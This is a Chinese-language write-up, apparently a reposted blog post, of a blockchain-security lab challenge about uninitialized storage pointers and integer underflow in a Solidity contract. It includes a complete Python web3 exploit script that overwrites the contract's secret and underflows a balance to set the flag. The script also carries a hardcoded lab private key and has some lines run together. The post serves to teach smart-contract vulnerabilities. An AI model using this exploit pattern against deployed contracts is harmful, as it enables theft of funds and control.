当前位置: 首页 > news >正文

某60区块链安全之未初始化的存储指针实战二学习记录

系列文章目录

文章目录

  • 系列文章目录
  • 未初始化的存储指针实战二
    • 实验目的
    • 实验环境
    • 实验工具
    • 实验原理
    • 实验内容
    • 实验过程
    • EXP利用


未初始化的存储指针实战二

实验目的

学会使用python3的web3模块
学会分析以太坊智能合约未初始化的存储指针漏洞
找到合约漏洞进行分析并形成利用

实验环境

Ubuntu18.04操作机

实验工具

python3

实验原理

在solidity语言中,像动态的数组、struct、mapping这样的复杂数据结构是不能直接在”栈”里面保存的,因为”栈”里只能保存单独的”字”,也就是只能保存实际数据长度小于等于32字节的简单数据类型。所以在solidity智能合约函数中声明动态数组和struct时,必须明确指明其位置在storage还是memory中。
函数内声明的struct若未初始化,若对其赋值,则会按照Solidity存储规则从slot 0开始存储,覆盖之前slot位置的变量,造成不可预想的控制流劫持。

实验内容

合约中内置了未初始化的存储指针和整数溢出问题,找到合约漏洞并形成利用,把合约中的flag变量设置为true即可
使用python3的web3模块远程利用漏洞并获取flag
实验地址为nc ip 10008

实验过程

获取合约地址和合约源代码
nc ip 10008连接到题目,输入1,获取部署合约的game account及token
在这里插入图片描述

打开http://ip,输入上述分配的game account,点击Request获取eth
在这里插入图片描述

在这里插入图片描述

nc ip 10008连接到题目,输入2,获取部署合约的地址及new token
在这里插入图片描述

nc ip 10008连接到题目,输入4,获取合约源代码,或者在题目附件找到合约源代码
在这里插入图片描述

分析合约源代码漏洞
题目要求将合约中的flag变量设置为true
在这里插入图片描述

分析代码逻辑,需要满足balanceOf[msg.sender] >= 10000000,但是并未有可以增加balanceOf[msg.sender]的代码
漏洞在ubw函数中,函数中的第二个分支不存在初始化,n在执行的时候会形成未初始化漏洞,那么只要我们进入第二个分支就会修改storage中的第一个值为我们的地址,第二个值为2
第一个值为secret 因此通过未初始化漏洞我们可以执行onlySecret修饰的 fate函数,fate函数中存在整数溢出漏洞
通过整数溢出,我们可以获得大量余额,然后payforflag即可将flag设置为true

EXP利用

用python编写自动化exp,将下述contract_address替换成自己的题目合约地址即可,总共包括三个步骤:一是调用题目合约ubw()函数并转账3 wei,这样就会进入到else分支,将slot 0位置的secret覆盖成msg.sender,就可以满足onlySecret;二是调用题目合约fate(0,1)函数,因为balanceOf[msg.sender]=0,此时0-1会产生整数下溢,满足require的条件;三是调用题目合约payforflag()函数,因为此时balanceOf[msg.sender]由于整数下溢漏洞已经变成一个很大的数,满足>=10000000的要求,可将flag设置为true

from web3 import Web3, HTTPProvider
from solcx import compile_source,set_solc_version_pragma
import timew3 = Web3(Web3.HTTPProvider('http://192.168.2.102:8545'))contract_address = "0x2880bF5Afe97F3bF983598E135474D743AC366C3"
private = "92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb"
public = "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f"def generate_tx(chainID, to, data, value):txn = {'chainId': chainID,'from': Web3.toChecksumAddress(public),'to': to,'gasPrice': w3.eth.gasPrice,'gas': 3000000,'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),'value': Web3.toWei(value, 'ether'),'data': data,}return txndef sign_and_send(txn):signed_txn = w3.eth.account.signTransaction(txn, private)txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)print("txn_hash=", txn_hash)return txn_receiptset_solc_version_pragma('^0.4.23')# call ubw() in ETH8 with 3 wei
data = Web3.keccak(text='ubw()').hex()[:10]
txn = generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 3e-18)
txn_receipt = sign_and_send(txn)
if(txn_receipt['status']==1):print("call ubw() success")time.sleep(5)# call fate(0,1) in ETH8
data = Web3.keccak(text='fate(address,uint256)').hex()[:10]
data += '0'*64
data += '1'.rjust(64, '0')
txn = generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0)
txn_receipt = sign_and_send(txn)
# print(txn_receipt)
if(txn_receipt['status']==1):print("call fate(0,1) success")time.sleep(5)# call payforflag() in ETH8
data = Web3.keccak(text='payforflag()').hex()[:10]
txn = generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0)
txn_receipt = sign_and_send(txn)
# print(txn_receipt)
if(txn_receipt['status']==1):print("call payforflag() success")

执行exp
在这里插入图片描述

nc ip 10008连接到题目,输入3,输入之前的new token,获取flag
在这里插入图片描述

http://www.lryc.cn/news/242310.html

相关文章:

  • 软件工程第十二周
  • electron 问题记录
  • nodejs+vue+python+PHP+微信小程序-留学信息查询系统的设计与实现-安卓-计算机毕业设计
  • JWT和Token之间的区别
  • UserRole
  • java学习part10 this
  • Spring Cloud + Nacos 项目启动失败【No spring.config.import property has been defined】
  • CANopen协议【SDO】
  • 9-什么是迭代器,生成器,装饰器、django的信号用过吗?如何用,干过什么、什么是深拷贝,什么是浅拷贝,如何使用、slice操作符和list构造函数
  • RabbitMQ之发送者(生产者)可靠性
  • 乐得瑞LDR6020 VR串流线方案:实现同时充电传输视频信号
  • 【libGDX】Mesh纹理贴图
  • 基线扫描tomcat安全加固-检查是否支持HTTPS等加密协议
  • 基于 STM32F7 和神经网络的实时人脸特征提取与匹配算法实现
  • Android笔记(十四):JetPack Compose中附带效应(一)
  • 【web】Fastapi自动生成接口文档(Swagger、ReDoc )
  • 竞赛选题 题目:基于FP-Growth的新闻挖掘算法系统的设计与实现
  • 188. 股票买卖问题(交易次数为任意正整数)
  • Typescript怎样对URL参数进行编码?
  • AndroidStudio2022.3.1 Patch3使用国内下载源加速
  • Go语言的学习笔记2——Go语言源文件的结构布局
  • python给视频增加字幕
  • 相机设置参数:黑电平(Black Level)详解和示例
  • Mac Ubuntu双系统解决WiFi和WiFi 5G网络不可用问题
  • 数据分析基础之《matplotlib(2)—折线图》
  • Rust语言入门教程(三) - 函数与模块系统
  • ubuntu22.04 arrch64版在线安装java环境
  • 概率论与数理统计中常见的随机变量分布律、数学期望、方差及其介绍
  • 骨传导耳机的优缺点都有哪些?骨传导耳机值得入手吗?
  • 在ASP.NET Core 中使用 .NET Aspire 消息传递组件